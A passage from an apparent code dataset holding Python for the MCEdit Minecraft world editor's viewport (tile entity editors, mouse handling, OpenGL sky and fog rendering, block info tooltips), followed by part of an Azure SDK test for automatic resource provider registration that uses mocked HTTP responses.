tileEntityTag["Items"][self.selectedItemIndex][key].value = val return property(getter, setter) class ChestWidget(Widget): dirty = False Slot = itemProp("Slot") id = itemProp("id") Damage = itemProp("Damage") Count = itemProp("Count") itemLimit = pymclevel.TileEntity.maxItems.get(containerID, 26) def slotFormat(slot): slotNames = pymclevel.TileEntity.slotNames.get(containerID) if slotNames: return slotNames.get(slot, slot) return slot chestWidget = ChestWidget() chestItemTable = TableView(columns=[ TableColumn("Slot", 60, "l", fmt=slotFormat), TableColumn("ID / ID Name", 345, "l"), TableColumn("DMG", 50, "l"), TableColumn("Count", 65, "l"), TableColumn("Name", 260, "l"), ]) def itemName(id, damage): try: return pymclevel.items.items.findItem(id, damage).name except pymclevel.items.ItemNotFound: return "Unknown Item" def getRowData(i): item = tileEntityTag["Items"][i] slot, id, damage, count = item["Slot"].value, item["id"].value, item["Damage"].value, item["Count"].value return slot, id, damage, count, itemName(id, damage) chestWidget.selectedItemIndex = 0 def selectTableRow(i, evt): chestWidget.selectedItemIndex = i # Disabling the item selector for now, since we need PE items resources. # if evt.num_clicks > 1: # selectButtonAction() def changeValue(data): s, i, c, d = data s = int(s) chestWidget.Slot = s chestWidget.id = i chestWidget.Count = int(c) chestWidget.Damage = int(d) chestItemTable.num_rows = lambda: len(tileEntityTag["Items"]) chestItemTable.row_data = getRowData chestItemTable.row_is_selected = lambda x: x == chestWidget.selectedItemIndex chestItemTable.click_row = selectTableRow chestItemTable.change_value = changeValue def selectButtonAction(): SlotEditor(chestItemTable, (chestWidget.Slot, chestWidget.id or u"", chestWidget.Count, chestWidget.Damage) ).present() maxSlot = pymclevel.TileEntity.maxItems.get(tileEntityTag["id"].value, 27) - 1 fieldRow = ( IntInputRow("Slot: ", ref=AttrRef(chestWidget, 'Slot'), min=0, max=maxSlot), BasicTextInputRow("ID / ID Name: ", ref=AttrRef(chestWidget, 'id'), width=300), # Text to allow the input of internal item names IntInputRow("DMG: ", ref=AttrRef(chestWidget, 'Damage'), min=0, max=32767), IntInputRow("Count: ", ref=AttrRef(chestWidget, 'Count'), min=-1, max=64), # This button is inactive for now, because we need to work with different IDs types: # * The 'human' IDs: Stone, Glass, Swords... # * The MC ones: minecraft:stone, minecraft:air... # * The PE ones: 0:0, 1:0... # Button("Select", action=selectButtonAction) ) def deleteFromWorld(): i = chestWidget.selectedItemIndex item = tileEntityTag["Items"][i] id = item["id"].value Damage = item["Damage"].value deleteSameDamage = CheckBoxLabel("Only delete items with the same damage value") deleteBlocksToo = CheckBoxLabel("Also delete blocks placed in the world") if id not in (8, 9, 10, 11): # fluid blocks deleteBlocksToo.value = True w = wrapped_label( "WARNING: You are about to modify the entire world. This cannot be undone. Really delete all copies of this item from all land, chests, furnaces, dispensers, dropped items, item-containing tiles, and player inventories in this world?", 60) col = (w, deleteSameDamage) if id < 256: col += (deleteBlocksToo,) d = Dialog(Column(col), ["OK", "Cancel"]) if d.present() == "OK": def deleteItemsIter(): i = 0 if deleteSameDamage.value: def matches(t): return t["id"].value == id and t["Damage"].value == Damage else: def matches(t): return t["id"].value == id def matches_itementity(e): if e["id"].value != "Item": return False if "Item" not in e: return False t = e["Item"] return matches(t) for player in self.editor.level.players: tag = self.editor.level.getPlayerTag(player) tag["Inventory"].value = [t for t in tag["Inventory"].value if not matches(t)] for chunk in self.editor.level.getChunks(): if id < 256 and deleteBlocksToo.value: matchingBlocks = chunk.Blocks == id if deleteSameDamage.value: matchingBlocks &= chunk.Data == Damage if any(matchingBlocks): chunk.Blocks[matchingBlocks] = 0 chunk.Data[matchingBlocks] = 0 chunk.chunkChanged() self.editor.invalidateChunks([chunk.chunkPosition]) for te in chunk.TileEntities: if "Items" in te: l = len(te["Items"]) te["Items"].value = [t for t in te["Items"].value if not matches(t)] if l != len(te["Items"]): chunk.dirty = True entities = [e for e in chunk.Entities if matches_itementity(e)] if len(entities) != len(chunk.Entities): chunk.Entities.value = entities chunk.dirty = True yield (i, self.editor.level.chunkCount) i += 1 progressInfo = _("Deleting the item {0} from the entire world ({1} chunks)").format( itemName(chestWidget.id, 0), self.editor.level.chunkCount) showProgress(progressInfo, deleteItemsIter(), cancel=True) self.editor.addUnsavedEdit() chestWidget.selectedItemIndex = min(chestWidget.selectedItemIndex, len(tileEntityTag["Items"]) - 1) def deleteItem(): i = chestWidget.selectedItemIndex item = tileEntityTag["Items"][i] tileEntityTag["Items"].value = [t for t in tileEntityTag["Items"].value if t is not item] chestWidget.selectedItemIndex = min(chestWidget.selectedItemIndex, len(tileEntityTag["Items"]) - 1) def deleteEnable(): return len(tileEntityTag["Items"]) and chestWidget.selectedItemIndex != -1 def addEnable(): return len(tileEntityTag["Items"]) < chestWidget.itemLimit def addItem(): slot = 0 for item in tileEntityTag["Items"]: if slot == item["Slot"].value: slot += 1 if slot >= chestWidget.itemLimit: return item = pymclevel.TAG_Compound() item["id"] = pymclevel.TAG_String("minecraft:") item["Damage"] = pymclevel.TAG_Short(0) item["Slot"] = pymclevel.TAG_Byte(slot) item["Count"] = pymclevel.TAG_Byte(1) tileEntityTag["Items"].append(item) addItemButton = Button("New Item (1.7+)", action=addItem, enable=addEnable) deleteItemButton = Button("Delete This Item", action=deleteItem, enable=deleteEnable) deleteFromWorldButton = Button("Delete All Instances Of This Item From World", action=deleteFromWorld, enable=deleteEnable) deleteCol = Column((addItemButton, deleteItemButton, deleteFromWorldButton)) fieldRow = Row(fieldRow) col = Column((chestItemTable, fieldRow, deleteCol)) chestWidget.add(col) chestWidget.shrink_wrap() Dialog(client=chestWidget, responses=["Done"]).present() level = self.editor.level class ChestEditOperation(Operation): def __init__(self, tool, level): self.tool = tool self.level = level self.undoBackupEntityTag = undoBackupEntityTag self.canUndo = False def perform(self, recordUndo=True): if self.level.saving: alert("Cannot perform action while saving is taking place") return level.addTileEntity(tileEntityTag) self.canUndo = True def undo(self): self.redoBackupEntityTag = copy.deepcopy(tileEntityTag) level.addTileEntity(self.undoBackupEntityTag) return pymclevel.BoundingBox(pymclevel.TileEntity.pos(tileEntityTag), (1, 1, 1)) def redo(self): level.addTileEntity(self.redoBackupEntityTag) return pymclevel.BoundingBox(pymclevel.TileEntity.pos(tileEntityTag), (1, 1, 1)) if chestWidget.dirty: op = ChestEditOperation(self.editor, self.editor.level) self.editor.addOperation(op) if op.canUndo: self.editor.addUnsavedEdit() @mceutils.alertException def editFlowerPot(self, point): panel = Dialog() tileEntity = self.editor.level.tileEntityAt(*point) undoBackupEntityTag = copy.deepcopy(tileEntity) if not tileEntity: tileEntity = pymclevel.TAG_Compound() tileEntity["id"] = pymclevel.TAG_String(self.editor.level.mcedit_defs.get("FlowerPot", "FlowerPot")) tileEntity["x"] = pymclevel.TAG_Int(point[0]) tileEntity["y"] = pymclevel.TAG_Int(point[1]) tileEntity["z"] = pymclevel.TAG_Int(point[2]) tileEntity["Item"] = pymclevel.TAG_String("") tileEntity["Data"] = pymclevel.TAG_Int(0) self.editor.level.addTileEntity(tileEntity) titleLabel = Label("Edit Flower Pot") Item = TextFieldWrapped(width=300, text=tileEntity["Item"].value) oldItem = Item.value Data = IntField(width=300,text=str(tileEntity["Data"].value)) oldData = Data.value class FlowerPotEditOperation(Operation): def __init__(self, tool, level): self.tool = tool self.level = level self.undoBackupEntityTag = undoBackupEntityTag self.canUndo = False def perform(self, recordUndo=True): if self.level.saving: alert("Cannot perform action while saving is taking place") return self.level.addTileEntity(tileEntity) self.canUndo = True def undo(self): self.redoBackupEntityTag = copy.deepcopy(tileEntity) self.level.addTileEntity(self.undoBackupEntityTag) return pymclevel.BoundingBox(pymclevel.TileEntity.pos(tileEntity), (1, 1, 1)) def redo(self): self.level.addTileEntity(self.redoBackupEntityTag) return pymclevel.BoundingBox(pymclevel.TileEntity.pos(tileEntity), (1, 1, 1)) def updateFlowerPot(): if oldData != Data.value or oldItem != Item.value: tileEntity["Item"] = pymclevel.TAG_String(Item.value) tileEntity["Data"] = pymclevel.TAG_Int(Data.value) op = FlowerPotEditOperation(self.editor, self.editor.level) self.editor.addOperation(op) if op.canUndo: self.editor.addUnsavedEdit() chunk = self.editor.level.getChunk(int(int(point[0]) / 16), int(int(point[2]) / 16)) chunk.dirty = True panel.dismiss() okBtn = Button("OK", action=updateFlowerPot) cancel = Button("Cancel", action=panel.dismiss) panel.add(Column((titleLabel, Row((Label("Item"), Item)), Row((Label("Data"), Data)), okBtn, cancel))) panel.shrink_wrap() panel.present() @mceutils.alertException def editEnchantmentTable(self, point): panel = Dialog() tileEntity = self.editor.level.tileEntityAt(*point) undoBackupEntityTag = copy.deepcopy(tileEntity) if not tileEntity: tileEntity = pymclevel.TAG_Compound() tileEntity["id"] = pymclevel.TAG_String(self.editor.level.defsIds.mcedit_defs.get("EnchantTable", "EnchantTable")) tileEntity["x"] = pymclevel.TAG_Int(point[0]) tileEntity["y"] = pymclevel.TAG_Int(point[1]) tileEntity["z"] = pymclevel.TAG_Int(point[2]) tileEntity["CustomName"] = pymclevel.TAG_String("") self.editor.level.addTileEntity(tileEntity) titleLabel = Label("Edit Enchantment Table") try: name = tileEntity["CustomName"].value except: name = "" name = TextFieldWrapped(width=300, text=name) oldName = name.value class EnchantmentTableEditOperation(Operation): def __init__(self, tool, level): self.tool = tool self.level = level self.undoBackupEntityTag = undoBackupEntityTag self.canUndo = False def perform(self, recordUndo=True): if self.level.saving: alert("Cannot perform action while saving is taking place") return self.level.addTileEntity(tileEntity) self.canUndo = True def undo(self): self.redoBackupEntityTag = copy.deepcopy(tileEntity) self.level.addTileEntity(self.undoBackupEntityTag) return pymclevel.BoundingBox(pymclevel.TileEntity.pos(tileEntity), (1, 1, 1)) def redo(self): self.level.addTileEntity(self.redoBackupEntityTag) return pymclevel.BoundingBox(pymclevel.TileEntity.pos(tileEntity), (1, 1, 1)) def updateEnchantmentTable(): if oldName != name.value: tileEntity["CustomName"] = pymclevel.TAG_String(name.value) op = EnchantmentTableEditOperation(self.editor, self.editor.level) self.editor.addOperation(op) if op.canUndo: self.editor.addUnsavedEdit() chunk = self.editor.level.getChunk(int(int(point[0]) / 16), int(int(point[2]) / 16)) chunk.dirty = True panel.dismiss() okBtn = Button("OK", action=updateEnchantmentTable) cancel = Button("Cancel", action=panel.dismiss) panel.add(Column((titleLabel, Row((Label("Custom Name"), name)), okBtn, cancel))) panel.shrink_wrap() panel.present() should_lock = False def rightClickDown(self, evt): # self.rightMouseDragStart = datetime.now() self.should_lock = True self.toggleMouseLook() def rightClickUp(self, evt): if not get_top_widget().is_modal: return if not self.should_lock and self.editor.level: self.should_lock = False self.toggleMouseLook() # if self.rightMouseDragStart is None: # return # td = datetime.now() - self.rightMouseDragStart # # except AttributeError: # # return # # print "RightClickUp: ", td # if td.microseconds > 180000: # self.mouseLookOff() def leftClickDown(self, evt): self.editor.toolMouseDown(evt, self.blockFaceUnderCursor) if evt.num_clicks == 2: def distance2(p1, p2): return numpy.sum(map(lambda a, b: (a - b) ** 2, p1, p2)) point, face = self.blockFaceUnderCursor if point: point = map(lambda x: int(numpy.floor(x)), point) if self.editor.currentTool is self.editor.selectionTool: try: block = self.editor.level.blockAt(*point) materials = self.editor.level.materials if distance2(point, self.cameraPosition) > 4: blockEditors = { materials.MonsterSpawner.ID: self.editMonsterSpawner, materials.Sign.ID: self.editSign, materials.WallSign.ID: self.editSign, materials.MobHead.ID: self.editSkull, materials.CommandBlock.ID: self.editCommandBlock, materials.CommandBlockRepeating.ID: self.editCommandBlock, materials.CommandBlockChain.ID: self.editCommandBlock, pymclevel.alphaMaterials.Jukebox.ID: self.editJukebox, materials.NoteBlock.ID: self.editNoteBlock, materials.FlowerPot.ID: self.editFlowerPot, materials.EnchantmentTable.ID: self.editEnchantmentTable } edit = blockEditors.get(block) if edit: self.editor.endSelection() edit(point) else: # detect "container" tiles te = self.editor.level.tileEntityAt(*point) if te and "Items" in te and "id" in te: self.editor.endSelection() self.editContainer(point, te["id"].value) except (EnvironmentError, pymclevel.ChunkNotPresent): pass def leftClickUp(self, evt): self.editor.toolMouseUp(evt, self.blockFaceUnderCursor) # --- Event handlers --- def mouse_down(self, evt): button = keys.remapMouseButton(evt.button) logging.debug("Mouse down %d @ %s", button, evt.pos) if button == 1: if sys.platform == "darwin" and evt.ctrl: self.rightClickDown(evt) else: self.leftClickDown(evt) elif button == 2: self.rightClickDown(evt) elif button == 3 and sys.platform == "darwin" and evt.alt: self.leftClickDown(evt) else: evt.dict['keyname'] = "mouse{}".format(button) self.editor.key_down(evt) self.editor.focus_on(None) # self.focus_switch = None def mouse_up(self, evt): button = keys.remapMouseButton(evt.button) logging.debug("Mouse up %d @ %s", button, evt.pos) if button == 1: if sys.platform == "darwin" and evt.ctrl: self.rightClickUp(evt) else: self.leftClickUp(evt) elif button == 2: self.rightClickUp(evt) elif button == 3 and sys.platform == "darwin" and evt.alt: self.leftClickUp(evt) else: evt.dict['keyname'] = "mouse{}".format(button) self.editor.key_up(evt) def mouse_drag(self, evt): self.mouse_move(evt) self.editor.mouse_drag(evt) lastRendererUpdate = datetime.now() def mouse_move(self, evt): if self.avoidMouseJumpBug == 2: self.avoidMouseJumpBug = 0 return def sensitivityAdjust(d): return d * config.controls.mouseSpeed.get() / 10.0 self.editor.mouseEntered = True if self.mouseMovesCamera: self.should_lock = False pitchAdjust = sensitivityAdjust(evt.rel[1]) if self.invertMousePitch: pitchAdjust = -pitchAdjust self.yaw += sensitivityAdjust(evt.rel[0]) self.pitch += pitchAdjust if datetime.now() - self.lastRendererUpdate > timedelta(0, 0, 500000): self.editor.renderer.loadNearbyChunks() self.lastRendererUpdate = datetime.now() # adjustLimit = 2 # self.oldMousePosition = (x, y) # if (self.startingMousePosition[0] - x > adjustLimit or self.startingMousePosition[1] - y > adjustLimit or # self.startingMousePosition[0] - x < -adjustLimit or self.startingMousePosition[1] - y < -adjustLimit): # mouse.set_pos(*self.startingMousePosition) # event.get(MOUSEMOTION) # self.oldMousePosition = (self.startingMousePosition) #if config.settings.showCommands.get(): def activeevent(self, evt): if evt.state & 0x2 and evt.gain != 0: self.avoidMouseJumpBug = 1 @property def tooltipText(self): #if self.hoveringCommandBlock[0] and (self.editor.currentTool is self.editor.selectionTool and self.editor.selectionTool.infoKey == 0): # return self.hoveringCommandBlock[1] or "[Empty]" if self.editor.currentTool is self.editor.selectionTool and self.editor.selectionTool.infoKey == 0 and config.settings.showQuickBlockInfo.get(): point, face = self.blockFaceUnderCursor if point: if not self.block_info_parsers or (BlockInfoParser.last_level != self.editor.level): self.block_info_parsers = BlockInfoParser.get_parsers(self.editor) block = self.editor.level.blockAt(*point) if block: if block in self.block_info_parsers: return self.block_info_parsers[block](point) return self.editor.currentTool.worldTooltipText floorQuad = numpy.array(((-4000.0, 0.0, -4000.0), (-4000.0, 0.0, 4000.0), (4000.0, 0.0, 4000.0), (4000.0, 0.0, -4000.0), ), dtype='float32') def updateFloorQuad(self): floorQuad = ((-4000.0, 0.0, -4000.0), (-4000.0, 0.0, 4000.0), (4000.0, 0.0, 4000.0), (4000.0, 0.0, -4000.0), ) floorQuad = numpy.array(floorQuad, dtype='float32') if self.editor.renderer.inSpace(): floorQuad *= 8.0 floorQuad += (self.cameraPosition[0], 0.0, self.cameraPosition[2]) self.floorQuad = floorQuad self.floorQuadList.invalidate() def drawFloorQuad(self): self.floorQuadList.call(self._drawFloorQuad) @staticmethod def _drawCeiling(): lines = [] minz = minx = -256 maxz = maxx = 256 append = lines.append for x in xrange(minx, maxx + 1, 16): append((x, 0, minz)) append((x, 0, maxz)) for z in xrange(minz, maxz + 1, 16): append((minx, 0, z)) append((maxx, 0, z)) GL.glColor(0.3, 0.7, 0.9) GL.glVertexPointer(3, GL.GL_FLOAT, 0, numpy.array(lines, dtype='float32')) GL.glEnable(GL.GL_DEPTH_TEST) GL.glDepthMask(False) GL.glDrawArrays(GL.GL_LINES, 0, len(lines)) GL.glDisable(GL.GL_DEPTH_TEST) GL.glDepthMask(True) def drawCeiling(self): GL.glMatrixMode(GL.GL_MODELVIEW) # GL.glPushMatrix() x, y, z = self.cameraPosition x -= x % 16 z -= z % 16 y = self.editor.level.Height GL.glTranslate(x, y, z) self.ceilingList.call(self._drawCeiling) GL.glTranslate(-x, -y, -z) _floorQuadList = None @property def floorQuadList(self): if not self._floorQuadList: self._floorQuadList = glutils.DisplayList() return self._floorQuadList _ceilingList = None @property def ceilingList(self): if not self._ceilingList: self._ceilingList = glutils.DisplayList() return self._ceilingList @property def floorColor(self): if self.drawSky: return 0.0, 0.0, 1.0, 0.3 else: return 0.0, 1.0, 0.0, 0.15 # floorColor = (0.0, 0.0, 1.0, 0.1) def _drawFloorQuad(self): GL.glDepthMask(True) GL.glPolygonOffset(DepthOffset.ChunkMarkers + 2, DepthOffset.ChunkMarkers + 2) GL.glVertexPointer(3, GL.GL_FLOAT, 0, self.floorQuad) GL.glColor(*self.floorColor) with gl.glEnable(GL.GL_BLEND, GL.GL_DEPTH_TEST, GL.GL_POLYGON_OFFSET_FILL): GL.glDrawArrays(GL.GL_QUADS, 0, 4) @property def drawSky(self): return self._drawSky @drawSky.setter def drawSky(self, val): self._drawSky = val if self.skyList: self.skyList.invalidate() if self._floorQuadList: self._floorQuadList.invalidate() skyList = None def drawSkyBackground(self): if self.skyList is None: self.skyList = glutils.DisplayList() self.skyList.call(self._drawSkyBackground) def _drawSkyBackground(self): GL.glMatrixMode(GL.GL_MODELVIEW) GL.glPushMatrix() GL.glLoadIdentity() GL.glMatrixMode(GL.GL_PROJECTION) GL.glPushMatrix() GL.glLoadIdentity() GL.glEnableClientState(GL.GL_COLOR_ARRAY) quad = numpy.array([-1, -1, -1, 1, 1, 1, 1, -1], dtype='float32') if self.editor.level.dimNo == -1: colors = numpy.array([0x90, 0x00, 0x00, 0xff, 0x90, 0x00, 0x00, 0xff, 0x90, 0x00, 0x00, 0xff, 0x90, 0x00, 0x00, 0xff, ], dtype='uint8') elif self.editor.level.dimNo == 1: colors = numpy.array([0x22, 0x27, 0x28, 0xff, 0x22, 0x27, 0x28, 0xff, 0x22, 0x27, 0x28, 0xff, 0x22, 0x27, 0x28, 0xff, ], dtype='uint8') else: colors = numpy.array([0x48, 0x49, 0xBA, 0xff, 0x8a, 0xaf, 0xff, 0xff, 0x8a, 0xaf, 0xff, 0xff, 0x48, 0x49, 0xBA, 0xff, ], dtype='uint8') alpha = 1.0 if alpha > 0.0: if alpha < 1.0: GL.glEnable(GL.GL_BLEND) GL.glVertexPointer(2, GL.GL_FLOAT, 0, quad) GL.glColorPointer(4, GL.GL_UNSIGNED_BYTE, 0, colors) GL.glDrawArrays(GL.GL_QUADS, 0, 4) if alpha < 1.0: GL.glDisable(GL.GL_BLEND) GL.glDisableClientState(GL.GL_COLOR_ARRAY) GL.glMatrixMode(GL.GL_PROJECTION) GL.glPopMatrix() GL.glMatrixMode(GL.GL_MODELVIEW) GL.glPopMatrix() enableMouseLag = config.settings.enableMouseLag.property() @property def drawFog(self): return self._drawFog and not self.editor.renderer.inSpace() @drawFog.setter def drawFog(self, val): self._drawFog = val fogColor = numpy.array([0.6, 0.8, 1.0, 1.0], dtype='float32') fogColorBlack = numpy.array([0.0, 0.0, 0.0, 1.0], dtype='float32') def enableFog(self): GL.glEnable(GL.GL_FOG) if self.drawSky: GL.glFogfv(GL.GL_FOG_COLOR, self.fogColor) else: GL.glFogfv(GL.GL_FOG_COLOR, self.fogColorBlack) GL.glFogf(GL.GL_FOG_DENSITY, 0.0001 * config.settings.fogIntensity.get()) @staticmethod def disableFog(): GL.glDisable(GL.GL_FOG) def getCameraPoint(self): distance = self.editor.currentTool.cameraDistance return [i for i in itertools.imap(lambda p, d: int(numpy.floor(p + d * distance)), self.cameraPosition, self.cameraVector)] blockFaceUnderCursor = (0, 0, 0), (0, 0, 0) viewingFrustum = None def setup_projection(self): distance = 1.0 if self.editor.renderer.inSpace(): distance = 8.0 GLU.gluPerspective(max(self.fov, 25.0), self.ratio, self.near * distance, self.far * distance) def setup_modelview(self): self.setModelview() def gl_draw(self): self.tickCamera(self.editor.frameStartTime, self.editor.cameraInputs, self.editor.renderer.inSpace()) self.render() def render(self): self.viewingFrustum = frustum.Frustum.fromViewingMatrix() if self.superSecretSettings: self.editor.drawStars() if self.drawSky: self.drawSkyBackground() if self.drawFog: self.enableFog() self.drawFloorQuad() self.editor.renderer.viewingFrustum = self.viewingFrustum self.editor.renderer.draw() if self.showCeiling and not self.editor.renderer.inSpace(): self.drawCeiling() if self.editor.level: try: self.updateBlockFaceUnderCursor() except (EnvironmentError, pymclevel.ChunkNotPresent) as e: logging.debug("Updating cursor block: %s", e) self.blockFaceUnderCursor = (None, None) self.root.update_tooltip() (blockPosition, faceDirection) = self.blockFaceUnderCursor if blockPosition: self.editor.updateInspectionString(blockPosition) if self.find_widget(mouse.get_pos()) == self: ct = self.editor.currentTool if ct: ct.drawTerrainReticle() ct.drawToolReticle() else: self.editor.drawWireCubeReticle() for t in self.editor.toolbar.tools: t.drawTerrainMarkers() t.drawToolMarkers() if self.drawFog: self.disableFog() if self.compassToggle: if self._compass is None: self._compass = CompassOverlay() x = getattr(getattr(self.editor, 'copyPanel', None), 'width', 0) if x: x = x /float( self.editor.mainViewport.width) self._compass.x = x self._compass.yawPitch = self.yaw, 0 with gl.glPushMatrix(GL.GL_PROJECTION): GL.glLoadIdentity() GL.glOrtho(0., 1., float(self.height) / self.width, 0, -200, 200) self._compass.draw() else: self._compass = None _compass = None class BlockInfoParser(object): last_level = None nbt_ending = "\n\nPress ALT for NBT" edit_ending = ", Double-Click to Edit" @classmethod def get_parsers(cls, editor): cls.last_level = editor.level parser_map = {} for subcls in cls.__subclasses__(): instance = subcls(editor.level) try: blocks = instance.getBlocks() except KeyError: continue if isinstance(blocks, (str, int)): parser_map[blocks] = instance.parse_info elif isinstance(blocks, (list, tuple)): for block in blocks: parser_map[block] = instance.parse_info return parser_map def getBlocks(self): raise NotImplementedError() def parse_info(self, pos): raise NotImplementedError() class SpawnerInfoParser(BlockInfoParser): def __init__(self, level): self.level = level def getBlocks(self): return self.level.materials["minecraft:mob_spawner"].ID def parse_info(self, pos): tile_entity = self.level.tileEntityAt(*pos) if tile_entity: spawn_data = tile_entity.get("SpawnData", {}) if spawn_data: id = spawn_data.get('EntityId', None) if not id: id = spawn_data.get('id', None) if not id: value = repr(NameError("Malformed spawn data: could not find 'EntityId' or 'id' tag.")) else: value = id.value return "{} Spawner{}{}".format(value, self.nbt_ending, self.edit_ending) return "[Empty]{}{}".format(self.nbt_ending, self.edit_ending) class JukeboxInfoParser(BlockInfoParser): id_records = { 2256: "13", 2257: "Cat", 2258: "Blocks", 2259: "Chirp", 2260: "Far", 2261: "Mall", 2262: "Mellohi", 2263: "Stal", 2264: "Strad", 2265: "Ward", 2266: "11", 2267: "Wait" } name_records = { "minecraft:record_13": "13", "minecraft:record_cat": "Cat", "minecraft:record_blocks": "Blocks", "minecraft:record_chirp": "Chirp", "minecraft:record_far": "Far", "minecraft:record_mall": "Mall", "minecraft:record_mellohi": "Mellohi", "minecraft:record_stal": "Stal", "minecraft:record_strad": "Strad", "minecraft:record_ward": "Ward", "minecraft:record_11": "11", "minecraft:record_wait": "Wait" } def __init__(self, level): self.level = level def getBlocks(self): return self.level.materials["minecraft:jukebox"].ID def parse_info(self, pos): tile_entity = self.level.tileEntityAt(*pos) if tile_entity: if "Record" in tile_entity: value = tile_entity["Record"].value if value in self.id_records: return self.id_records[value] + " Record" + self.nbt_ending + self.edit_ending elif "RecordItem" in tile_entity: value = tile_entity["RecordItem"]["id"].value if value in self.name_records: return "{} Record{}{}".format(self.name_records[value], self.nbt_ending, self.edit_ending) return "[No Record]{}{}".format(self.nbt_ending, self.edit_ending) class CommandBlockInfoParser(BlockInfoParser): def __init__(self, level): self.level = level def getBlocks(self): return [ self.level.materials["minecraft:command_block"].ID, self.level.materials["minecraft:repeating_command_block"].ID, self.level.materials["minecraft:chain_command_block"].ID ] def parse_info(self, pos): tile_entity = self.level.tileEntityAt(*pos) if tile_entity: value = tile_entity.get("Command", pymclevel.TAG_String("")).value if value: if len(value) > 1500: return "{}\n**COMMAND IS TOO LONG TO SHOW MORE**{}{}".format(value[:1500], self.nbt_ending, self.edit_ending) return "{}{}{}".format(value, self.nbt_ending, self.edit_ending) return "[Empty Command Block]{}{}".format(self.nbt_ending, self.edit_ending) class ContainerInfoParser(BlockInfoParser): def __init__(self, level): self.level = level def getBlocks(self): return [ self.level.materials["minecraft:dispenser"].ID, self.level.materials["minecraft:chest"].ID, self.level.materials["minecraft:furnace"].ID, self.level.materials["minecraft:lit_furnace"].ID, self.level.materials["minecraft:trapped_chest"].ID, self.level.materials["minecraft:hopper"].ID, self.level.materials["minecraft:dropper"].ID, self.level.materials["minecraft:brewing_stand"].ID ] def parse_info(self, pos): tile_entity = self.level.tileEntityAt(*pos) if tile_entity: return "Contains {} Items {}{}".format(len(tile_entity.get("Items", [])), self.nbt_ending, self.edit_ending) return "[Empty Container]{}{}".format(self.nbt_ending, self.edit_ending) def unproject(x, y, z): try: return GLU.gluUnProject(x, y, z) except ValueError: # projection failed return 0, 0, 0
true
true
f7f3b7ffd7304d7b9139e30893b6a94cfe945480
6,550
py
Python
sdk/core/azure-mgmt-core/tests/test_policies.py
iscai-msft/azure-sdk-for-python
83715b95c41e519d5be7f1180195e2fba136fc0f
[ "MIT" ]
1
2020-12-10T03:17:51.000Z
2020-12-10T03:17:51.000Z
sdk/core/azure-mgmt-core/tests/test_policies.py
iscai-msft/azure-sdk-for-python
83715b95c41e519d5be7f1180195e2fba136fc0f
[ "MIT" ]
226
2019-07-24T07:57:21.000Z
2019-10-15T01:07:24.000Z
sdk/core/azure-mgmt-core/tests/test_policies.py
iscai-msft/azure-sdk-for-python
83715b95c41e519d5be7f1180195e2fba136fc0f
[ "MIT" ]
1
2020-07-05T21:13:37.000Z
2020-07-05T21:13:37.000Z
#-------------------------------------------------------------------------- # Copyright (c) Microsoft Corporation. All rights reserved. # # The MIT License (MIT) # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the ""Software""), to deal # in the Software without restriction, including without limitation the rights # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell # copies of the Software, and to permit persons to whom the Software is # furnished to do so, subject to the following conditions: # # The above copyright notice and this permission notice shall be included in # all copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED *AS IS*, WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN # THE SOFTWARE. # #-------------------------------------------------------------------------- import json import time try: from unittest import mock except ImportError: import mock import pytest import requests import httpretty from azure.core.pipeline import Pipeline from azure.core.pipeline.transport import ( HttpRequest, RequestsTransport, ) from azure.mgmt.core.policies import ARMAutoResourceProviderRegistrationPolicy @pytest.fixture def sleepless(monkeypatch): def sleep(_): pass monkeypatch.setattr(time, 'sleep', sleep) @httpretty.activate @pytest.mark.usefixtures("sleepless") def test_register_rp_policy(): """Protocol: - We call the provider and get a 409 provider error - Now we POST register provider and get "Registering" - Now we GET register provider and get "Registered" - We call again the first endpoint and this time this succeed """ provider_url = ("https://management.azure.com/" "subscriptions/12345678-9abc-def0-0000-000000000000/" "resourceGroups/clitest.rg000001/" "providers/Microsoft.Sql/servers/ygserver123?api-version=2014-04-01") provider_error = ('{"error":{"code":"MissingSubscriptionRegistration", ' '"message":"The subscription registration is in \'Unregistered\' state. ' 'The subscription must be registered to use namespace \'Microsoft.Sql\'. ' 'See https://aka.ms/rps-not-found for how to register subscriptions."}}') provider_success = '{"success": true}' httpretty.register_uri(httpretty.PUT, provider_url, responses=[ httpretty.Response(body=provider_error, status=409), httpretty.Response(body=provider_success), ], content_type="application/json") register_post_url = ("https://management.azure.com/" "subscriptions/12345678-9abc-def0-0000-000000000000/" "providers/Microsoft.Sql/register?api-version=2016-02-01") register_post_result = { "registrationState":"Registering" } register_get_url = ("https://management.azure.com/" "subscriptions/12345678-9abc-def0-0000-000000000000/" "providers/Microsoft.Sql?api-version=2016-02-01") register_get_result = { "registrationState":"Registered" } httpretty.register_uri(httpretty.POST, register_post_url, body=json.dumps(register_post_result), content_type="application/json") httpretty.register_uri(httpretty.GET, register_get_url, body=json.dumps(register_get_result), content_type="application/json") request = HttpRequest("PUT", provider_url) policies = [ ARMAutoResourceProviderRegistrationPolicy(), ] with Pipeline(RequestsTransport(), policies=policies) as pipeline: response = pipeline.run(request) assert json.loads(response.http_response.text())['success'] @httpretty.activate @pytest.mark.usefixtures("sleepless") def test_register_failed_policy(): """Protocol: - We call the provider and get a 409 provider error - Now we POST register provider and get "Registering" - This POST failed """ provider_url = ("https://management.azure.com/" "subscriptions/12345678-9abc-def0-0000-000000000000/" "resourceGroups/clitest.rg000001/" "providers/Microsoft.Sql/servers/ygserver123?api-version=2014-04-01") provider_error = ('{"error":{"code":"MissingSubscriptionRegistration", ' '"message":"The subscription registration is in \'Unregistered\' state. ' 'The subscription must be registered to use namespace \'Microsoft.Sql\'. ' 'See https://aka.ms/rps-not-found for how to register subscriptions."}}') provider_success = '{"success": true}' httpretty.register_uri(httpretty.PUT, provider_url, responses=[ httpretty.Response(body=provider_error, status=409), httpretty.Response(body=provider_success), ], content_type="application/json") register_post_url = ("https://management.azure.com/" "subscriptions/12345678-9abc-def0-0000-000000000000/" 